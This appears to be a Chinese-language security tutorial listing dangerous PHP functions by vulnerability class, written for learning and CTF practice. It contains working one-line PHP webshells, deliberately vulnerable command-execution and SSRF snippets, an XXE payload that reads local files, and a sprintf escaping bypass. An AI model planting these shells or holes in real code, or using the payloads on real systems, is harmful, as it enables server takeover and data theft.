php常見的危險函數

程式碼執行的危險函數

  • eval() 把字元串作為php程式碼執行

早期php一句話木馬都用這個

<?php @eval($_POST['shell']);?>

  • assert() 檢查一個斷言是否為false,將字元串作為php程式碼執行

同樣經常被用作一句話木馬

<?php assert(@$_POST['shell']); ?>

  • preg_replace() 執行正則表達式的搜索和替換


當匹配模式/e時,該函數會將$replacement作為php程式碼執行

preg_replace("/test/e",$_GET["shell"],"just test");

  • create_function() 創建一個匿名函數

跟python的lambda語句類似,在php7.2.0後被廢棄

$newfunc = create_function('$v', 'return system($v);');
$newfunc('whoami');

  • array_map() 為數組的每個元素應用回調函數

array_map()函數將用戶自定義的函數作用到數組中的每個值上,並返回用戶自定義函數作用後帶有新值的數組,這裡相當於一種動態調用

<?php
    $func=$_GET['func'];
    $cmd=$_GET['cmd'];
    $array[0]=$cmd;
    $new_array=array_map($func,$array);
?>

  • call_user_func() 把第一個參數作為回調函數調用,其他參數是回調函數的參數
<?php 
    @call_user_func("assert",$_GET['cmd']);
?>

  • call_user_func_array() 調用回調函數,並將第一個數組參數作為回調函數參數
<?php
    $cmd=$_GET['cmd'];
    $array[0]=$cmd;
    @call_user_func_array("assert",$array);
?>

  • array_filter() 使用回調函數過濾數組的元素

依次將數組中的每個值傳遞到callback函數,如果callback函數返回true,則數組的當前值會被包含在返回的結果數組中,數組的鍵名保留不變

<?php 
    $cmd=$_GET['cmd'];
    $array1=array($cmd);
    $func =$_GET['func'];
    array_filter($array1,$func);
?>

命令執行的危險函數

  • system() 執行外部程式,並顯示輸出

<?php
    system($_GET['cmd']);
?>

  • exec() 執行外部程式

<?php 
    echo exec("whoami");
?>

  • shell_exec() 通過shell環境執行命令,並將完整的輸出以字元串的方式返回
<?php 
    echo shell_exec("whoami");
?>

  • passthru() 執行外部程式並且顯示原始輸出
<?php 
    passthru("whoami");
?>
  • proc_open() 執行一個命令,並且打開用來輸入/輸出的文件指針
  • pcntl_exec() 在當前進程空間執行指定程式
  • popen() 打開進程文件指針
  • 反引號,實質上還是調用的shell_exec()函數,在CTF題目裡面有的時候會忘記過濾導致直接拿到flag

文件包含的危險函數

php中包含的函數一共有四個,主要作用為包含並運行指定文件

  • require() 函數
  • inclue() 函數
  • require_once() 函數
  • include_once() 函數

include()require_once()主要的區別是:include()在包含的過程中如果出現錯誤,會拋出一個警告,程式繼續運行;而require()函數出現錯誤時,會直接報錯並退出程式的執行

require_once()include_once(),顯然表示的是文件只包含一次的意思,避免函數重定義和變數重新賦值等問題

文件包含還分為了本地文件包含和遠程文件包含,這裡就不再進行贅述

當被包含文件可控的情況下,我們可以包含任意文件,從而達到GetShell的目的,也可以使用filter偽協議讀取文件內容,關於php偽協議會在後面的文章進行介紹

SSRF的危險函數

  • file_get_contents()
  • fsockopen()
  • curl_exec()
  • fopen()
  • readfile()

  • 函數使用不當會造成SSRF漏洞

利用的相關協議:

  • file協議: 在有回顯的情況下,利用file協議可以讀取任意的內容
  • dict協議: 泄露安裝軟體版本資訊,查看埠,操作內網redis服務等
  • gopher協議: gopher支援發出GET,POST請求,可以通過抓包然後構造成gopher協議的請求
  • http/s: 探測內網主機存活

一個簡單的file_get_contents()案例

<?php
    $url = $_GET['url'];;
    echo file_get_contents($url);
?>

直接在本地環境上測試了,使用file協議讀一下system.ini文件

XXE的危險函數

XXE指XML外部實體注入

當允許引用外部實體時,通過構造惡意內容,就可能導致任意文件讀取,系統命令執行,內網埠探測,攻擊內網網站等危害

這類漏洞可以根據危險函數逆推回去,危險函數有:

  • simplexml_load_string() 轉換形式良好的 XML 字元串為 SimpleXMLElement 對象,然後輸出對象的鍵和元素
  • asXML()
  • simplexml_load_file()
  • simplexml_import_dom()

本地搭建一個存在XXE的環境

<?php 
    error_reporting(0); //禁用外部實體注入 設置為false 相當於不禁用 
    libxml_disable_entity_loader (false); 
    //php://input ===> post請求體的內容 
    $xmlfile = file_get_contents('php://input'); 
    //exit(-1); 
    //創建一個DOMDocument類型的對象 
    $dom = new DOMDocument(); 
    //loadXML 從字元串中讀取,生成一個DOMDocument類型的對象 
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); 
    //var_dump($dom); 
    //exit(-1); 
    //把一個DOMDocument類型的對象轉發成一個simpleXML類型的對象 
    $creds = simplexml_import_dom($dom); //因為存在SIMPLEXMLelement存在__toString__魔術方法, //因此可以直接列印 
    echo $creds; 
?>

payload為

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE creds [ 
<!ENTITY goodies SYSTEM 
"php://filter/read=convert.base64-encode/resource=C:/Windows/system.ini"> ]> 
<creds>&goodies;</creds>

成功讀取base64加密後的system.ini文件內容

php防禦手段:

設置libxml_disable_entity_loader=TRUE來禁用外部實體

文件操作相關函數

文件操作無外乎增刪改查,在不同場景下利用手法不同

  • 增,改 : 寫入shell相關的內容
  • 刪 : 刪除.lock文件導致CMS重新安裝
  • 查 讀取配置等文件,拿到敏感資訊

文件操作的函數有很多:

  • unlink() 傳入文件名刪除文件
  • copy() 複製文件
  • highlight_file() 對php文件語法高亮顯示
  • show_source() highlight_file的別名
  • file_get_contents()
  • fopen()
  • parse_ini_file()
  • readfile()
  • fread()

敏感資訊的危險函數

  • phpinfo() 輸出關於php配置的資訊
  • getenv() 獲取一個環境變數的值
  • get_current_user() 獲取當前php腳本所有者的名稱
  • getlastmod() 獲取頁面最後修改的時間
  • ini_get() 獲取一個配置選項的值
  • glob() 尋找與模式匹配的文件路徑

反序列化危險函數

  • 序列化函數 serialize()
  • 反序列化函數 unserialize()
  • php十六個魔術方法,魔術方法命名是以符號__開頭的
    • __construct() 類的構造函數
    • __destruct() 類的析構函數
    • __call() 在對象中調用一個不可訪問方法時調用
    • __callStatic() 用靜態方式中調用一個不可訪問方法時調用
    • __get() 獲得一個類的成員變數時調用
    • __set()設置一個類的成員變數時調用
    • __isset() 當對不可訪問屬性調用isset()或empty()時調用
    • __unset() 當對不可訪問屬性調用unset()時被調用。
    • __sleep() 執行serialize()時,先會調用這個函數
    • __wakeup() 執行unserialize()時,先會調用這個函數
    • __toString() 類被當成字元串時的回應方法
    • __invoke() 調用函數的方式調用一個對象時的回應方法
    • __set_state() 調用var_export()導出類時,此靜態方法會被調用。
    • __clone() 當對象複製完成時調用
    • __autoload() 嘗試載入未定義的類
    • __debugInfo() 列印所需調試資訊

關於如何利用反序列化漏洞,取決於應用程式的邏輯、可用的類和魔法方法。

unserialize的參數用戶可控,攻擊者可以構造惡意的序列化字元串。當應用程式將惡意字元串反序列化為對象後,也就執行了攻擊者指定的操作,如程式碼執行、任意文件讀取等

SQL注入的危險函數

  • mysql_query() 發送一條MySQL查詢
  • mysql_connect() 打開一個到MySQL伺服器的鏈接
  • sprintf() 將格式化的字元串寫入變數中

sprintf(format,arg1,arg2,arg++)

arg1arg2arg++ 參數將被插入到主字元串中的百分號(%)符號處。該函數是逐步執行的。在第一個 % 符號處,插入 arg1,在第二個 % 符號處,插入 arg2,依此類推。

注釋:如果 % 符號多於 arg 參數,則您必須使用佔位符。佔位符位於 % 符號之後,由數字和 “$” 組成。

可以利用sprintf()繞過一些過濾字元的函數,例如在如下場景中

<?php 
    error_reporting(0);
    $name = $_GET['name'];
    $name = mysql_escape_string(stripslashes($name));
    $sql = sprintf("select * from product where name = '$name' and adddate <= '%s' limit 1",date("Y-m-d H:i:s"));
    echo $sql;
?>

我們的單引號被過濾了

可以利用sprintf()的特性吃掉\

  • urldecode() 解碼已編碼的URL字元串
  • rawurldecode() 對已編碼的URL字元串進行解碼
  • is_numeric() 判斷傳入參數是否為字元串

is_numeric()函數存在插入十六進位字元串到資料庫,進而導致SQL二次注入的風險

參考鏈接

END

建了一個微信的安全交流群,歡迎添加我微信備註進群,一起來聊天吹水哇,以及一個會發布安全相關內容的公眾號,歡迎關注 😃

GIF
GIF